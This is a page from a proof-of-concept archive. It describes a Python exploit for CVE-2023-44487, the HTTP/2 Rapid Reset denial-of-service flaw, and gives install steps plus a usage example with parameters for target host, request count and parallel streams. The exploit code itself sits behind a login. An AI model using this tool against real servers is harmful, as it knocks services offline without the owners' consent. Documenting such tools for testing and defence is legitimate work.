Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2023-44487 PoC — Apache HTTP/2 资源管理错误漏洞

Source
Associated Vulnerability
Title:Apache HTTP/2 资源管理错误漏洞 (CVE-2023-44487)
Description:The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023.
Description
A python based exploit to test out rapid reset attack (CVE-2023-44487)
Readme
# HTTP2 Rapid Reset Attack: CVE-2023-44487
Quick exploit to test out rapid reset attack (CVE-2023-44487). Note: For education purpose only

# Exploit: 
Quick exploit to test out rapid reset attack (CVE-2023-44487). Note: For education purpose only

## Table of Contents

- [Installation](#installation)
- [Usage](#usage)

## Installation

Clone the repository to your local machine using Git, install poetry, and run the program:

   ```bash
   git clone https://github.com/studiogangster/CVE-2023-44487.git

   cd CVE-2023-44487

    # install Poetry, if you haven't already:
    curl -sSL https://install.python-poetry.org | python -
    
    # poetry install
    poetry install

    # Activate the virtual environment created by Poetry:
    poetry shell

    # Run Help
    python main.py

   ## Example:
   python main.py --host example.com --path /api --headers "Authorization: Basic dummy-token ; Custom-Header:Custom-Header-Value" --port 443 --requests_count 100  --max_streams 20 --parallel_connections 2
```

## Usage
Usage: main.py [OPTIONS]
```bash
Options:
  --host TEXT                     Host URL  [required]
  --path TEXT                     Path on the host  [required]
  --headers TEXT                  Headers (comma-separated)  [required]
  --port INTEGER                  Port number  [required]
  --requests_count INTEGER        Number of requests to be sent  [required]
  --max_streams INTEGER           Maximum streams to be opened in parallel
                                  [required]
  --parallel_connections INTEGER  Number of parallel connections to be made
                                  with the server. (TCP connection)
                                  [required]
  --help                          Show this message and exit.

```





File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →